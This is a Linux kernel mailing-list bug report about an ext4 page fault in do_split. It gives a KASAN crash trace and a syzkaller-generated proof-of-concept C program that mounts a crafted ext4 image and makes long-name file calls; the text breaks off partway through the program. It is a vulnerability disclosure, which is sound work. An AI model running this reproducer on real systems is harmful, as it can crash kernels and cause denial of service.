* BUG: unable to handle kernel paging request in do_split
@ 2024-04-30 1:16 Ubisectech Sirius
0 siblings, 0 replies; only message in thread
From: Ubisectech Sirius @ 2024-04-30 1:16 UTC (permalink / raw
To: linux-trace-kernel, linux-kernel; +Cc: tytso, adilger.kernel
[-- Attachment #1: Type: text/plain, Size: 5101 bytes --]
Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.7. Attached to the email were a PoC file of the issue.
Stack dump:
BUG: unable to handle page fault for address: ffffed110c2fd97f
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
PGD 7ffd0067 P4D 7ffd0067 PUD 0
Oops: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 PID: 24082 Comm: syz-executor.3 Not tainted 6.7.0 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:do_split+0xfef/0x1e10 fs/ext4/namei.c:2047
Code: d2 0f 85 38 0b 00 00 8b 45 00 89 84 24 84 00 00 00 41 8d 45 ff 48 8d 1c c3 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 <0f> b6 14 02 48 89 d8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 ef
RSP: 0018:ffffc90001e9f858 EFLAGS: 00010a02
RAX: dffffc0000000000 RBX: ffff8888617ecbf8 RCX: ffffc9001048f000
RDX: 1ffff1110c2fd97f RSI: ffffffff823364ab RDI: 0000000000000005
RBP: ffff8880617ecc00 R08: 0000000000000005 R09: 00000000ffffffff
R10: 00000000ffffffff R11: 0000000000000000 R12: dffffc0000000000
R13: 0000000000000000 R14: 00000000ffffffff R15: ffff88801ee8d2b0
FS: 00007f191402a640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffed110c2fd97f CR3: 000000005500a000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
make_indexed_dir+0x1158/0x1540 fs/ext4/namei.c:2342
ext4_add_entry+0xcd0/0xe80 fs/ext4/namei.c:2454
ext4_add_nondir+0x90/0x2b0 fs/ext4/namei.c:2795
ext4_symlink+0x539/0x9e0 fs/ext4/namei.c:3436
vfs_symlink fs/namei.c:4464 [inline]
vfs_symlink+0x3f6/0x640 fs/namei.c:4448
do_symlinkat+0x245/0x2f0 fs/namei.c:4490
__do_sys_symlink fs/namei.c:4511 [inline]
__se_sys_symlink fs/namei.c:4509 [inline]
__x64_sys_symlink+0x79/0xa0 fs/namei.c:4509
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0x43/0x120 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x6f/0x77
RIP: 0033:0x7f191329002d
Code: c3 e8 97 2b 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f191402a028 EFLAGS: 00000246 ORIG_RAX: 0000000000000058
RAX: ffffffffffffffda RBX: 00007f19133cbf80 RCX: 00007f191329002d
RDX: 0000000000000000 RSI: 0000000020000e40 RDI: 0000000020001640
RBP: 00007f19132f14d0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 000000000000000b R14: 00007f19133cbf80 R15: 00007f191400a000
</TASK>
Modules linked in:
CR2: ffffed110c2fd97f
---[ end trace 0000000000000000 ]---
RIP: 0010:do_split+0xfef/0x1e10 fs/ext4/namei.c:2047
Code: d2 0f 85 38 0b 00 00 8b 45 00 89 84 24 84 00 00 00 41 8d 45 ff 48 8d 1c c3 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 <0f> b6 14 02 48 89 d8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 ef
RSP: 0018:ffffc90001e9f858 EFLAGS: 00010a02
RAX: dffffc0000000000 RBX: ffff8888617ecbf8 RCX: ffffc9001048f000
RDX: 1ffff1110c2fd97f RSI: ffffffff823364ab RDI: 0000000000000005
RBP: ffff8880617ecc00 R08: 0000000000000005 R09: 00000000ffffffff
R10: 00000000ffffffff R11: 0000000000000000 R12: dffffc0000000000
R13: 0000000000000000 R14: 00000000ffffffff R15: ffff88801ee8d2b0
FS: 00007f191402a640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffed110c2fd97f CR3: 000000005500a000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
----------------
Code disassembly (best guess):
0: d2 0f rorb %cl,(%rdi)
2: 85 38 test %edi,(%rax)
4: 0b 00 or (%rax),%eax
6: 00 8b 45 00 89 84 add %cl,-0x7b76ffbb(%rbx)
c: 24 84 and $0x84,%al
e: 00 00 add %al,(%rax)
10: 00 41 8d add %al,-0x73(%rcx)
13: 45 ff 48 8d rex.RB decl -0x73(%r8)
17: 1c c3 sbb $0xc3,%al
19: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
20: fc ff df
23: 48 89 da mov %rbx,%rdx
26: 48 c1 ea 03 shr $0x3,%rdx
* 2a: 0f b6 14 02 movzbl (%rdx,%rax,1),%edx <-- trapping instruction
2e: 48 89 d8 mov %rbx,%rax
31: 83 e0 07 and $0x7,%eax
34: 83 c0 03 add $0x3,%eax
37: 38 d0 cmp %dl,%al
39: 7c 08 jl 0x43
3b: 84 d2 test %dl,%dl
3d: 0f .byte 0xf
3e: 85 ef test %ebp,%edi
Thank you for taking the time to read this email and we look forward to working with you further.
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 23371 bytes --]
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/loop.h>
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
#ifndef __NR_renameat2
#define __NR_renameat2 316
#endif
static unsigned long long procid;
//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:
//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@alumni.caltech.edu
//% BEGIN CODE DERIVED FROM puff.{c,h}
#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288
struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}
//% END CODE DERIVED FROM puff.{c,h}
#define ZLIB_HEADER_WIDTH 2
static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}
static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}
error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
intptr_t res = 0;
memcpy((void*)0x20000180, "ext4\000", 5);
memcpy((void*)0x200000c0, "./file1\000", 8);
*(uint8_t*)0x20000740 = 0;
memcpy(
(void*)0x20000dc0,
"\x78\x9c\xec\xdc\xcb\x6f\x54\xd5\x1f\x00\xf0\xef\xbd\xd3\x96\x37\xed\x8f"
"\x1f\xa2\xf2\x90\x2a\x1a\x1b\x1f\x2d\x2d\xa8\x2c\xdc\x68\x74\xa7\x89\x89"
"\x2e\x70\x63\x52\xdb\x42\x2a\x03\x35\xb4\x24\x42\x88\x56\x63\x70\x69\x48"
"\xdc\x1b\x57\xc6\xe8\x5f\xe0\x4a\x37\x46\x5d\x99\xb8\xd5\xbd\x21\x21\x4a"
"\x4c\x40\x17\x66\xcc\xbd\x73\x6f\x69\xcb\x4c\x5f\x4c\x99\xe2\x7c\x3e\xc9"
"\x1d\xce\x99\x7b\x66\xce\xf9\xce\xb9\x67\xee\xb9\xf7\x30\x0d\xa0\x63\xf5"
"\x67\x0f\x49\xc4\xf6\x88\xf8\x25\x22\x7a\xeb\xd9\x85\x05\xfa\xeb\xff\xdc"
"\xb8\x76\x71\xec\xaf\x6b\x17\xc7\x92\xa8\xd5\x5e\xfd\x3d\xc9\xcb\x5d\xbf"
"\x76\x71\xac\x2c\x5a\xbe\x6e\x5b\x91\x19\x48\x23\xd2\x0f\x93\xa2\x92\x85"
"\xa6\xcf\x5f\x38\x35\x5a\xad\x4e\x9c\x2d\xf2\x43\x33\xa7\xdf\x1e\x9a\x3e"
"\x7f\xe1\xc9\xc9\xd3\xa3\x27\x27\x4e\x4e\x9c\x19\x39\x76\xec\xe8\x91\xe1"
"\x67\x9e\x1e\x79\xaa\x25\x71\x66\x71\x5d\xdf\xfb\xee\xd4\xfe\xa4\xeb\xf5"
"\xcb\x2f\x8f\x1d\xbf\xfc\xe6\x0f\x5f\x75\x45\xc4\x9e\x03\xf5\xfd\xf3\xe3"
"\xb8\x2d\xe9\xb6\xb9\x64\x7f\x16\xf8\x1f\xb5\xdc\xe2\x62\x8f\xb4\xa4\xb2"
"\x8d\x63\xc7\xbc\x74\xd2\xd5\xc6\x86\xb0\x2a\x95\x88\xc8\xba\xab\x3b\x1f"
"\xff\xbd\x51\x89\x9b\x9d\xd7\x1b\x2f\x7e\xd0\xd6\xc6\x01\xeb\x2a\x3b\x37"
"\x6d\x6a\xbe\x7b\xb6\x06\xfc\x87\x25\xd1\xee\x16\x00\xed\x51\x9e\xe8\xb3"
"\xeb\xdf\x72\xbb\x43\x53\x8f\x0d\xe1\xea\x73\xf5\x0b\xa0\x2c\xee\x1b\xc5"
"\x56\xdf\xd3\x15\x69\x51\xa6\x7b\x1d\xeb\xbf\x2f\x22\x8e\xcf\xfe\xfd\x69"
"\xb6\x45\xd1\x0f\xff\x6c\x5f\xc7\x0a\x01\x80\x8e\xf7\x4d\x36\xff\x79\xa2"
"\xd1\xfc\x2f\x8d\x3d\xf3\xca\xed\x2c\xd6\x50\xfa\x22\xe2\x7f\x11\xb1\x2b"
"\x22\xfe\x1f\x11\xbb\x23\xe2\x9e\x88\xbc\xec\xbd\xc5\x7c\x66\x35\xea\x4b"
"\x43\x95\xb9\xfc\xad\xf3\xcf\xf4\xca\x9a\x83\x5b\x81\x6c\xfe\xf7\x6c\xb1"
"\xb6\xb5\x70\xfe\x57\xce\xfe\xa2\xaf\x52\xe4\x76\xe4\xf1\x77\x27\x27\x26"
"\xab\x13\x87\x8b\xcf\x64\x20\xba\x37\x65\xf9\xe1\x25\xea\xf8\xf6\x85\x9f"
"\x3f\x6e\xb6\xaf\x7f\xde\xfc\x2f\xdb\xb2\xfa\xcb\xb9\x60\xd1\x8e\x2b\x5d"
"\x8b\x6e\xd0\x8d\x8f\xce\x8c\xb6\x6a\x52\x7a\xf5\xfd\x88\xbd\x5d\x8d\xe2"
"\x4f\xe6\x56\x02\x92\x88\xb8\x3f\x22\xf6\xae\xee\xad\x77\x96\x89\xc9\xc7"
"\xbe\xd8\xdf\xac\xd0\xf2\xf1\x2f\xa1\x05\xeb\x4c\xb5\xcf\x22\x1e\xad\xf7"
"\xff\x6c\x2c\x8a\xbf\x94\x2c\xbd\x3e\x39\xb4\x39\xaa\x13\x87\x87\xca\xa3"
"\xe2\x56\x3f\xfe\x74\xe9\x95\xc6\xb5\x6f\xbe\xbd\xf8\x5b\x20\xeb\xff\xad"
"\x0b\x8f\xff\x45\x25\x7a\xff\x4c\xe6\xaf\xd7\x4e\xaf\xbe\x8e\x4b\xbf\x7e"
"\xd4\xf4\x9a\x72\xad\xc7\x7f\x4f\xf2\x5a\x3e\x26\x7b\x8a\xe7\xde\x19\x9d"
"\x99\x39\x3b\x1c\xd1\x93\xbc\x94\xe7\x17\x3c\x3f\x72\xf3\xb5\x65\xbe\x2c"
"\x9f\xc5\x3f\x70\xa8\xf1\xf8\xdf\x55\xbc\x26\x8b\x7f\x5f\x44\x64\x07\xf1"
"\x81\x88\x78\x20\x22\x0e\x16\x6d\x7f\x30\x22\x1e\x8a\x88\x43\x4b\xc4\xff"
"\xfd\xf3\x0f\xbf\xb5\xaa\xf8\x27\xef\x6c\xff\x8f\x37\xfc\xfe\x9b\x3b\xfe"
"\xfb\x16\xf6\xff\xea\x13\x95\x53\xdf\x7d\xdd\xac\xfe\x95\xf5\xff\xd1\x3c"
"\x35\x50\x3c\x93\x7f\xff\x2d\xa3\x79\x73\xa2\x3a\x11\x51\xab\xad\xf9\x68"
"\x06\x00\x00\x80\xbb\x4f\x1a\x11\xdb\x23\x49\x07\xe7\xd2\x69\x3a\x38\x58"
"\xff\x3f\xfc\xbb\x63\x6b\x5a\x9d\x9a\x9e\x79\xfc\xc4\xd4\xb9\x33\xe3\xf5"
"\xdf\x08\xf4\x45\x77\x5a\xde\xe9\xea\x2d\xee\x87\x66\x57\xdb\xc3\xc9\x6c"
"\xf1\x8e\xf5\xfb\xa3\x23\xc5\xbd\xe2\xf2\x7e\xe9\x91\xe2\xbe\xf1\x27\x95"
"\x2d\x79\x7e\x70\x6c\xaa\x3a\xde\xe6\xd8\xa1\xd3\x6d\x6b\x32\xfe\x33\xbf"
"\x55\xda\xdd\x3a\x60\xdd\xf9\xbd\x16\x74\xae\xc5\xe3\x3f\x6d\x53\x3b\x80"
"\x3b\xcf\xf9\x1f\x3a\x97\xf1\x0f\x9d\xcb\xf8\x87\xce\x35\x6f\xfc\x7f\x79"
"\xee\xd2\xbe\x3c\xf1\x5e\xfe\x78\x70\x6e\x47\xc3\xb5\x80\x25\xfe\x72\x08"
"\x70\x77\x70\xfe\x87\xce\x65\xfc\x43\xe7\x32\xfe\xa1\x73\x19\xff\xd0\x91"
"\x6e\xe7\x77\xfd\xed\x49\x6c\x29\x5a\xbe\x5c\xe1\x9e\xf6\x37\x75\x6d\x89"
"\xcf\xbb\x37\x44\x33\x96\x4b\x44\xba\x54\x99\x37\xa2\xf1\xae\xfe\x88\x58"
"\xa7\x86\xc5\x86\xf8\x58\x5a\x9d\x48\x56\x70\xa8\xaf\x34\x71\xe2\x64\x31"
"\x74\x56\x52\xb8\x9d\xdf\x4a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\xad\xf3\x6f\x00\x00\x00\xff\xff\x1b\xcc\xe5\x51",
1165);
syz_mount_image(/*fs=*/0x20000180, /*dir=*/0x200000c0,
/*flags=MS_SYNCHRONOUS*/ 0x10, /*opts=*/0x20000740,
/*chdir=*/0xfe, /*size=*/0x48d, /*img=*/0x20000dc0);
memcpy((void*)0x200002c0, "./file0\000", 8);
syscall(__NR_mknod, /*file=*/0x200002c0ul, /*mode=*/0ul, /*dev=*/0x700);
memcpy((void*)0x20000100, "./file1\000", 8);
syscall(
__NR_open, /*file=*/0x20000100ul,
/*flags=O_NONBLOCK|O_NOFOLLOW|O_NOATIME|O_DIRECT|O_CREAT|0x2*/ 0x64842ul,
/*mode=*/0ul);
memcpy((void*)0x20000000,
"./"
"file0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\000",
250);
syscall(__NR_mknod, /*file=*/0x20000000ul, /*mode=*/0ul, /*dev=*/0x701);
memcpy((void*)0x20000940, "./file0\000", 8);
memcpy((void*)0x20000d40,
"./"
"file0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
